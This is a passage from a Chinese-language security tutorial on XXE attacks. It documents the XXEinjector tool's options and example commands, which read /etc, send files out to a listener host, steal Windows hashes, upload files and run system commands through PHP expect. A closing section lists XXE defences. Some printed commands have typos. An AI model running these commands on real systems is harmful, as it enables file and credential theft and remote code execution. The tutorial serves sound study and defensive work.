https://github.com/enjoiz/XXEinjector

参数列表

--host 												//必填项  用于建立反向链接的 IP 地址。 (--host=192.168.0.2)
--file 												//必填项 - 包含有效 HTTP 请求的 XML 文件。 (--file=/tmp/req.txt)
--path 												//必填项 -是否需要枚举目录  枚举路径。 (--path=/etc)
--brute 											//必填项 -是否需要爆破文件 - 爆破文件的路径。 (--brute=/tmp/brute.txt)
--logger 											//记录输出结果。
--rhost 											//远程主机 IP 或域名地址。 (--rhost=192.168.0.3)
--rport 											//远程主机的 TCP 端口信息。 (--rport=8080)
--phpfilter 									//在发送消息之前使用 PHP 过滤器对目标文件进行 Base64 编码。
--netdoc 											//使用 netdoc 协议。 (Java).
--enumports 									//枚举用于反向链接的未过滤端口。 (--enumports=21,22,80,443,445)
--hashes 											//窃取运行当前应用程序用户的 Windows 哈希。
--expect 											//使用 PHP expect 扩展执行任意系统命令。 (--expect=ls)
--upload 											//使用 Java jar 向临时目录上传文件。 (--upload=/tmp/upload.txt)
--xslt 												//XSLT 注入测试。
--ssl 												//使用 SSL 。
--proxy 											//使用代理。 (--proxy=127.0.0.1:8080)
--httpport 										//Set 自定义 HTTP 端口。 (--httpport=80)
--ftpport 										//设置自定义 FTP 端口。 (--ftpport=21)
--gopherport 									//设置自定义 gopher 端口。 (--gopherport=70)
--jarport 										//设置自定义文件上传端口。 (--jarport=1337)
--xsltport 										//设置自定义用于 XSLT 注入测试的端口。 (--xsltport=1337)
--test 												//该模式可用于测试请求的有效。
--urlencode 									//URL 编码,默认为 URI 。
--output 											//爆破攻击结果输出和日志信息。 (--output=/tmp/out.txt)
--timeout 										//设置接收文件 /目录内容的 Timeout 。(--timeout=20)
--contimeout 									//设置与服务器断开连接的,防止 DoS 出现。 (--contimeout=20)
--fast 												//跳过枚举询问,有可能出现结果假阳性。
--verbose 										//显示 verbose 信息。

4.5.1 基本使用

枚举HTTPS应用程序中的/etc目录

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt ssl

使用gopherOOB方法枚举/etc目录

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http netdoc

通过直接性漏洞利用方式进行资源枚举

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt hashes

使用Java jar上传文件

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt xslt

记录请求信息

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

5. XXE防御

使用开发语言提供的禁用外部实体的方法

  • PHP
libxml_disable_entity_loader(true);
  • Java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据关键字 <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC 。 不允许XML中含有自己定义的DTD